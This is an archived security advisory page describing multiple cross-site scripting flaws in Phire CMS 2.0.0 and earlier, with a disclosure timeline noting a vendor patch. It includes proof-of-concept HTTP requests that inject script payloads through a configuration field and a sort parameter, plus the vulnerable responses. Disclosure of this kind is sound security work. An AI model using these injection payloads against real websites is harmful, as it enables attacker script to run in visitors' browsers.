what you don't know can hurt you

Phire CMS 2.0.0 Cross Site Scripting

Phire CMS 2.0.0 Cross Site Scripting
Posted Oct 9, 2016
Authored by Mattia Reggiani

Phire CMS versions 2.0.0 and below suffer from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | dc28b11293c4ecd3032bac7af0f55fe9

Phire CMS 2.0.0 Cross Site Scripting

Change Mirror Download
[+] Title
Phire CMS <= 2.0.0 - Multiple XSS Vulnerabilities

[+] Credit
Mattia Reggiani (info@mattiareggiani.com)

[+] Advisory
https://github.com/mattiareggiani/Security-Advisories/blob/master/MR-16-02_PhireCMS.pdf

[+] Vendor Homepage
http://www.phirecms.org/

[+] Affected Version
2.0.0

[+] Tested on
Ubuntu Server 14.04, web server Apache 2.2.31

[+] CVE
N/A

[+] Severity
Medium to High

[+] Summary
Phire CMS is an open source content management system and publishing platform for managing the content of websites and web applications. Phire CMS is written using the MySQL database and the PHP programming language.
Phire CMS is prone to multiple cross-site scripting (XSS) vulnerabilities, which could be used by malicious users to inject arbitrary JavaScript code in victim's browser.

[+] Vulnerabilities
[+][+] Stored Cross Site Scripting (XSS)
# Description: Multiple stored XSS vulnerability has been found in HTTP Referer header. This can lead to arbitrary execution of code client-side (eg. Javascript).
# Proof of Concept:
>HTTP Request
POST /phirecms/phire/config HTTP/1.1
[Headers]: ...
[Post Data]:
datetime_format=&datetime_format_custom=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&pagination=25&system_theme=default&submit=Save

>HTTP Response
...
<input type="radio" name="datetime_format" id="datetime_format8" onclick="phire.customDatetime('/phirecms/phire');" checked="checked" value=""><script>alert(1337)</script>" />
<input type="text" name="datetime_format_custom" id="datetime_format_custom" onkeyup="phire.customDatetime('/phirecms/phire')" value=""><script>alert(1337)</script>" size="10" />
...

[+][+] Reflected Cross Site Scripting (XSS)
# Description: Reflected XSS vulnerabilities have been found in System module. This can lead to arbitrary execution of code client-side (eg. Javascript).
# Proof of Concept:
>HTTP Request
GET http://[HOST]/phirecms/phire/users?sort=id%3E%3Cscript%3Ealert(1337)%3C/script%3E

>HTTP Response
...
<p>Error: 1054 => Unknown column 'id><script>alert(1337)</script>' in 'order clause'.</p>
...

[+] Disclosure timeline
# Discovery: 05/06/16
# Vendor disclosure: 09/06/16
# Vendor acknowledgment: 10/06/16
# Patch release: 14/06/16
# Public disclosure: 19/07/16

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close